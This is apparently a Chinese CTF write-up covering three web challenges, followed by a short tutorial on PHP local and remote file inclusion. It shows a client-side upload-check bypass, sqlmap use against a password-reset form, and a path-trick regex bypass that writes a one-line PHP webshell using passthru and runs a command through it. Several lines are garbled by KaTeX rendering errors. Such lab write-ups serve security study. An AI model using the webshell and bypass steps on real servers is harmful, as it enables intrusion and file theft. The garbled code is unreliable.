upload1
查看源码发现JS判断
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
这里用check()判断上传的后缀,
直接F12
删除οnchange=“check”。上传。
ics-04
题目描述提到:
尝试注册
尝试admin注册,提示注册成功,但登录后显示:
再次注册admin发现还是可以注册,相当于密码重置了。
猜测有别的管理员账号,发现一共有三个页面可操作,登录注册找回密码。
sqlmap跑一下,post型。
抓包findpwd.php,截下来开跑,数据库,表名,列名。
用c3tlwDmIn23再次注册,这里前面提到了。
登录记得flag
ics-07
题目打开直接可以查看源码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
看到floatval(KaTeX parse error: Expected 'EOF', got '&' at position 19: …T[id]) !== '1' &̲&substr(_GET[id], -1) === ‘9’,可以使id=1,9
最后也可以看到 $_SESSION[‘admin’] = True
$ filename = “backup/”.KaTeX parse error: Can't use function '\.' in math mode at position 36: …preg_match('/.+\̲.̲ph(p[3457]?|t|t…/i’, $filename)
这里/.可用flag.php/.绕过。
我们真实目录为uploaded/flag.php
构造木马上传,测试两个.php绕过。
其中 … 代表当前目录的父目录 .代表当前目录 。
file=…/123.php/1.php/…&con=<?php passthru($_GET[haha]);?>
111.198.29.45:38479/uploaded/123.php/1.php?haha=cat …/flag.php
查看源码得到flag
--------------------------------------------
这里用最简单的方法解释下文件包含(PHP)。
用到的包含函数:
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
include_once()和require_once():若文件中代码已被包含则不会再次包含。
先写一个php文件,在include()这个函数接受过来的都会以PHP代码来处理。
再写个txt文件放在同一目录下。
访问1.php,让id=2.txt,成功返回(这里可以写成一句话木马直接即可连接)。
远程包含需要打开php.ini中allow_url_fopen和allow_url_include.
只需将2.txt换成在外网的链接,
http://127.0.0.1/test1/1.php?id=2.txt
变为
http://127.0.0.1/test1/1.php?id=http://127.0.0.1/test2/2.txt 即可访问成功。